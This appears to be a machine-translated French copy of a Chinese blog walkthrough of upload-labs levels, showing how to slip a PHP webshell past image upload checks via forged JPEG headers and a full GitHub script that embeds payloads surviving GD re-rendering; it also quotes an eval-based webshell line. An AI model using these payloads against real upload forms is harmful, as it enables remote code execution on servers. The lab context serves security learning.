Après les tests, il a été constaté que le type de fichier n'était pas lu. Cependant, exif_imagetype()la description de la fonction est d'obtenir l'identifiant d'en-tête de fichier de l'image. En utilisant une méthode stupide, nous utilisons un octet comme unité et le testons lentement pour voir où il va vérifier l'en-tête et commencer à agir.

image-20230902223422299

Ajoutons un octet et testons-le.

image-20230902223539694

Oh, il a été reconnu après avoir ajouté seulement un octet. J'ai eu beaucoup de chance. Je pensais que j'allais le tester pour toujours.

Voyons maintenant pourquoi l'ajout d'un octet après l'identifiant d'en-tête ffpeut l'identifier avec succès ?

Trouvons une image normale et utilisons cette fonction pour la détecter,

image-20230902224842831

Prenez cette photo comme exemple et vérifiez d'abord le code que j'ai écrit.

image-20230902225151015

Il est actuellement identifiable. Utilisez un éditeur hexadécimal pour modifier l'identifiant d'en-tête

image-20230902225246875

image-20230902225352822

Après la modification, j'ai constaté que le type d'image ne pouvait pas être reconnu, donc je pense en gros que cette fonction devrait vérifier les trois octets de l'en-tête pour vérification. Il n’y a plus de bêtises à dire et nous passons à la prochaine attaque.

Téléchargez-en un directement, ajoutez un webshell avec trois octets dans l'en-tête du fichier jpg et téléchargez-le

image-20230902225711130

Le téléchargement a réussi, ce qui a confirmé notre théorie. L'étape suivante consiste à analyser le webshell

image-20230902225829521

Analyse réussie !

Le code de test est le suivant. Si vous en avez besoin, vous pouvez l'obtenir vous-même :

<?php
$file = '文件路径';
$bin = bin2hex(file_get_contents($file));
$exif = exif_imagetype($file);

echo '<pre>';
echo "图像类型:" . $exif . "<br>";
echo "图像内容的十六进制表示:" . $bin;

téléchargement-niveau 16 (image de cheval de Troie, rendu secondaire)

Idées

image-20230902230105938

Analyse du code source
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
    
    
    // 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
    $filename = $_FILES['upload_file']['name'];
    $filetype = $_FILES['upload_file']['type'];
    $tmpname = $_FILES['upload_file']['tmp_name'];

    $target_path=UPLOAD_PATH.'/'.basename($filename);

    // 获得上传文件的扩展名
    $fileext= substr(strrchr($filename,"."),1);

    //判断文件后缀与类型,合法才进行上传操作
    if(($fileext == "jpg") && ($filetype=="image/jpeg")){
    
    
        if(move_uploaded_file($tmpname,$target_path)){
    
    
            //使用上传的图片生成新的图片
            $im = imagecreatefromjpeg($target_path);

            if($im == false){
    
    
                $msg = "该文件不是jpg格式的图片!";
                @unlink($target_path);
            }else{
    
    
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".jpg";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagejpeg($im,$img_path);
                @unlink($target_path);
                $is_upload = true;
            }
        } else {
    
    
            $msg = "上传出错!";
        }

    }else if(($fileext == "png") && ($filetype=="image/png")){
    
    
        if(move_uploaded_file($tmpname,$target_path)){
    
    
            //使用上传的图片生成新的图片
            $im = imagecreatefrompng($target_path);

            if($im == false){
    
    
                $msg = "该文件不是png格式的图片!";
                @unlink($target_path);
            }else{
    
    
                 //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".png";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagepng($im,$img_path);

                @unlink($target_path);
                $is_upload = true;               
            }
        } else {
    
    
            $msg = "上传出错!";
        }

    }else if(($fileext == "gif") && ($filetype=="image/gif")){
    
    
        if(move_uploaded_file($tmpname,$target_path)){
    
    
            //使用上传的图片生成新的图片
            $im = imagecreatefromgif($target_path);
            if($im == false){
    
    
                $msg = "该文件不是gif格式的图片!";
                @unlink($target_path);
            }else{
    
    
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".gif";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagegif($im,$img_path);

                @unlink($target_path);
                $is_upload = true;
            }
        } else {
    
    
            $msg = "上传出错!";
        }
    }else{
    
    
        $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
    }
}

Le cœur du code source réside dans imagecreatefrompng()la fonction. Il générera une nouvelle image à partir de l'image téléchargée. Qu'est-ce que cela signifie ? Si nous écrivons le webshell dans l'image et le téléchargeons sur le backend, le backend va L'image est générée et rendu à nouveau. À ce stade, notre webshell peut être directement tué. Une fois le téléchargement réussi, il ne peut pas être analysé normalement.

Le flux de base du code source est le suivant :

  1. Pour déterminer si le formulaire a été soumis, utilisez isset($_POST['submit'])pour vérifier.
  2. Si le formulaire est soumis, obtenez les informations de base du fichier téléchargé, y compris le nom du fichier, le type de fichier et le chemin du fichier temporaire.
  3. Créez le chemin cible et déplacez les fichiers téléchargés vers le chemin cible spécifié. Utilisez UPLOAD_PATHles fonctions et basename()pour créer le chemin cible.
  4. Pour obtenir l'extension du fichier téléchargé, utilisez les fonctions strtolower()et pathinfo()pour obtenir la chaîne d'extension du fichier.
  5. Déterminez si l'extension de fichier et le type MIME du fichier téléchargé correspondent aux exigences, c'est-à-dire que l'extension du fichier doit être « jpg » ou « jpeg » et le type MIME doit être « image/jpeg ».
  6. Si la correspondance réussit, utilisez imagecreatefromjpeg()la fonction pour créer un objet de ressource image, c'est-à-dire une nouvelle image pour le rendu secondaire.
  7. Vérifiez si l'objet de ressource image a été créé avec succès. S'il échoue, cela signifie que le fichier n'est pas une image JPG valide. Un message d'erreur sera affiché et le fichier téléchargé sera supprimé.
  8. Générez un nom de fichier aléatoire pour la nouvelle image, utilisez uniqid()la fonction pour générer un nom de fichier unique et ajoutez un suffixe ".jpg".
  9. Spécifiez le chemin pour enregistrer la nouvelle image et utilisez ce chemin pour appeler imagejpeg()la fonction permettant d'enregistrer l'objet ressource image en tant qu'image JPEG.
  10. Libérez l'objet ressource image et utilisez imagedestroy()la fonction pour libérer la mémoire occupée par l'objet.
  11. Pour supprimer le fichier téléchargé d'origine, utilisez @unlink()la fonction pour supprimer le fichier téléchargé.
  12. Une fois le téléchargement réussi, $is_uploaddéfinissez sur truepour indiquer que le téléchargement a réussi. Si une erreur de téléchargement se produit, $msgdéfinissez le message d'erreur correspondant et affichez le message d'erreur sur la page.

Le flux des deux instructions de jugement suivantes est exactement le même. La différence est que la première est jugement jpg, la deuxième est jugement png, et la troisième est jugement gif. Dans le code source, le jugement de type est également ajouté MIME, mais le noyau est toujours dans imagecreatefromjpeg()cette fonction, analysons le principe de cette fonction et comment elle génère de nouvelles images.

Après trois jours d'analyse, je n'ai toujours pas pu modifier directement le format jpg et le logo d'en-tête pour résoudre ce problème comme pass13-15. Lors de la modification de l'encodage de l'image jpg, si plus d'octets sont supprimés, le type de fichier sera incorrect lors du téléchargement. En jpg Si des octets sont ajoutés ou modifiés dans la zone de contenu d'encodage, le type de fichier peut également être incorrect. Si vous voulez vraiment résoudre ce problème d'encodage, vous devez bien comprendre les principes de la bibliothèque GD en PHP. Depuis le temps est limité maintenant, je n'ai plus à m'en soucier.En utilisant l'encodage d'images pour résoudre ce problème, sur la base de ce que je sais jusqu'à présent, j'ai trouvé un script de génération de chevaux d'images sur github pour résoudre ce problème.

Parlons de ce que nous avons découvert ces derniers jours :

  1. imagecreatefromjpeg()La fonction est d'appeler la bibliothèque GD pour régénérer l'image. Elle acceptera un paramètre de chemin de ressource image, puis générera une nouvelle image basée sur le contenu de l'image. Cette génération est au niveau du codage, nous ne pouvons donc pas la percevoir. Voici les problèmes rencontrés ces jours-ci.
    1. Lors de la génération d'images, s'il y a un problème avec les paramètres des ressources d'image reçues, il ne créera pas et ne générera pas de nouvelles images. Les trois jours de recherche précédents n'ont pas permis de faire une percée. C'est aussi pour cette raison que même de légers changements l'image originale ne peut pas être créée. De nouvelles images.
    2. La plupart de l'encodage interne des images générées changera, ce qui empêchera l'encodage Webshell que nous écrivons dans les images d'être analysé en raison de vulnérabilités d'inclusion de fichiers.
    3. Étant donné que la génération de nouvelles images modifiera l'encodage interne, toutes les images ne pourront pas être traitées avec succès. Vous devez préparer plusieurs images jpg pour essayer.

Script de génération de code image PHP trouvé sur github :

<?php

/*

The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
It is necessary that the size and quality of the initial image are the same as those of the processed image.

1) Upload an arbitrary image via secured files upload script
2) Save the processed image and launch:
jpg_payload.php <jpg_name.jpg>

In case of successful injection you will get a specially crafted image, which should be uploaded again.

Since the most straightforward injection method is used, the following problems can occur:
1) After the second processing the injected data may become partially corrupted.
2) The jpg_payload.php script outputs "Something's wrong".
If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.

Sergey Bobrov @Black2Fan.

See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

*/

$miniPayload = "<?=phpinfo();?>";


if (!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
    
    
    die('php-gd is not installed');
}

if (!isset($argv[1])) {
    
    
    die('php jpg_payload.php <jpg_name.jpg>');
}

set_error_handler("custom_error_handler");

for ($pad = 0; $pad < 1024; $pad++) {
    
    
    $nullbytePayloadSize = $pad;
    $dis = new DataInputStream($argv[1]);
    $outStream = file_get_contents($argv[1]);
    $extraBytes = 0;
    $correctImage = TRUE;

    if ($dis->readShort() != 0xFFD8) {
    
    
        die('Incorrect SOI marker');
    }

    while ((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
    
    
        $marker = $dis->readByte();
        $size = $dis->readShort() - 2;
        $dis->skip($size);
        if ($marker === 0xDA) {
    
    
            $startPos = $dis->seek();
            $outStreamTmp =
                substr($outStream, 0, $startPos) .
                $miniPayload .
                str_repeat("\0", $nullbytePayloadSize) .
                substr($outStream, $startPos);
            checkImage('_' . $argv[1], $outStreamTmp, TRUE);
            if ($extraBytes !== 0) {
    
    
                while ((!$dis->eof())) {
    
    
                    if ($dis->readByte() === 0xFF) {
    
    
                        if ($dis->readByte !== 0x00) {
    
    
                            break;
                        }
                    }
                }
                $stopPos = $dis->seek() - 2;
                $imageStreamSize = $stopPos - $startPos;
                $outStream =
                    substr($outStream, 0, $startPos) .
                    $miniPayload .
                    substr(
                        str_repeat("\0", $nullbytePayloadSize) .
                        substr($outStream, $startPos, $imageStreamSize),
                        0,
                        $nullbytePayloadSize + $imageStreamSize - $extraBytes) .
                    substr($outStream, $stopPos);
            } elseif ($correctImage) {
    
    
                $outStream = $outStreamTmp;
            } else {
    
    
                break;
            }
            if (checkImage('payload_' . $argv[1], $outStream)) {
    
    
                die('Success!');
            } else {
    
    
                break;
            }
        }
    }
}
unlink('payload_' . $argv[1]);
die('Something\'s wrong');

function checkImage($filename, $data, $unlink = FALSE)
{
    
    
    global $correctImage;
    file_put_contents($filename, $data);
    $correctImage = TRUE;
    imagecreatefromjpeg($filename);
    if ($unlink)
        unlink($filename);
    return $correctImage;
}

function custom_error_handler($errno, $errstr, $errfile, $errline)
{
    
    
    global $extraBytes, $correctImage;
    $correctImage = FALSE;
    if (preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
    
    
        if (isset($m[1])) {
    
    
            $extraBytes = (int)$m[1];
        }
    }
}

class DataInputStream
{
    
    
    private $binData;
    private $order;
    private $size;

    public function __construct($filename, $order = false, $fromString = false)
    {
    
    
        $this->binData = '';
        $this->order = $order;
        if (!$fromString) {
    
    
            if (!file_exists($filename) || !is_file($filename))
                die('File not exists [' . $filename . ']');
            $this->binData = file_get_contents($filename);
        } else {
    
    
            $this->binData = $filename;
        }
        $this->size = strlen($this->binData);
    }

    public function seek()
    {
    
    
        return ($this->size - strlen($this->binData));
    }

    public function skip($skip)
    {
    
    
        $this->binData = substr($this->binData, $skip);
    }

    public function readByte()
    {
    
    
        if ($this->eof()) {
    
    
            die('End Of File');
        }
        $byte = substr($this->binData, 0, 1);
        $this->binData = substr($this->binData, 1);
        return ord($byte);
    }

    public function readShort()
    {
    
    
        if (strlen($this->binData) < 2) {
    
    
            die('End Of File');
        }
        $short = substr($this->binData, 0, 2);
        $this->binData = substr($this->binData, 2);
        if ($this->order) {
    
    
            $short = (ord($short[1]) << 8) + ord($short[0]);
        } else {
    
    
            $short = (ord($short[0]) << 8) + ord($short[1]);
        }
        return $short;
    }

    public function eof()
    {
    
    
        return !$this->binData || (strlen($this->binData) === 0);
    }
}

Ce script intègre du code PHP valide dans une image JPG et utilise les fonctions de traitement d'image de la bibliothèque PHP GD pour maintenir l'intégrité des données injectées.

Son objectif est d'essayer d'injecter une charge utile dans une image JPG en itérant des charges utiles de zéro octet de différentes longueurs, et de garantir que les données injectées restent inchangées pendant le traitement de l'image.

Parmi elles $miniPayloadse trouvent les variables du cheval de Troie webshell. Nous écrivons le code Webshell que nous voulons utiliser dans cette variable, puis exécutons le script pour obtenir un cheval d'images qui a été injecté avec WebShell. Assez parlé et commencez à pratiquer manuellement !

Idées d'attaque

Trouvez d’abord quelques images jpg, il est préférable d’en avoir quelques supplémentaires en guise de sauvegarde. Et mettez-le dans le même dossier que le script.

Ouvrez un terminal (cmd) dans la fenêtre actuelle et exécutez le script

php phppayload.php 1.jpg // phppalyload.php 是脚本名字

image-20230903194112575

Après succès, nous obtiendrons une image avec WebShell. Toutes les images ne peuvent pas réussir.

image-20230903220003087

Par exemple, dans cette image, le webshell a été écrit avec succès dans l'image à l'aide d'un script. Cependant, après le téléchargement vers le backend, la fonction imagecreatejpeg()est restituée à l'aide de la bibliothèque GD en PHP, provoquant une déformation du code du webshell et l'impossibilité de le faire. être analysé normalement. C'est aussi le problème. Partie ennuyeuse, il faut continuer à chercher des images pour tester

73c8d91b1b6ae865259944fb198b1d6

Après des centaines d'expériences, j'ai finalement réussi une fois, mais cette fois j'étais un peu impuissant. J'ai changé pour une version PHP avec des règles plus souples et j'ai changé le webshell de <? @eval($_POST['cmd']); ? > a été remplacé par <?=phpinfo();?>. Au départ, je pensais résoudre ce problème grâce à l'encodage JPG, mais à la fin j'ai quand même utilisé la puissance des scripts. J'ai donc l'impression d'avoir échoué à relever le défi, et la raison de cet échec était ma connaissance insuffisante de ce domaine. Mais je ne peux plus m'accrocher à cette question.Après avoir maîtrisé les principes de la bibliothèque php-GD et les principes des différents encodages d'images, je reviendrai pour la challenger à nouveau.

Résumer

Dans la série de niveaux du cheval de Troie photo, celui qui m'a le plus impressionné était le pass-16. Dans d'autres niveaux, je pouvais simplement falsifier la marque d'en-tête et la télécharger directement, en contournant la détection. Cependant, le pass-16 m'a coûté un Trois jours de travail dessus jusqu'à ce qu'il échoue finalement. Cela me rappelle également 零信任网络le concept de ne jamais faire confiance aux fichiers téléchargés par les utilisateurs. Vous devez utiliser diverses vérifications strictes pour éviter les risques.

Je suppose que tu aimes

Origine blog.csdn.net/weixin_44369049/article/details/132656763
conseillé
Classement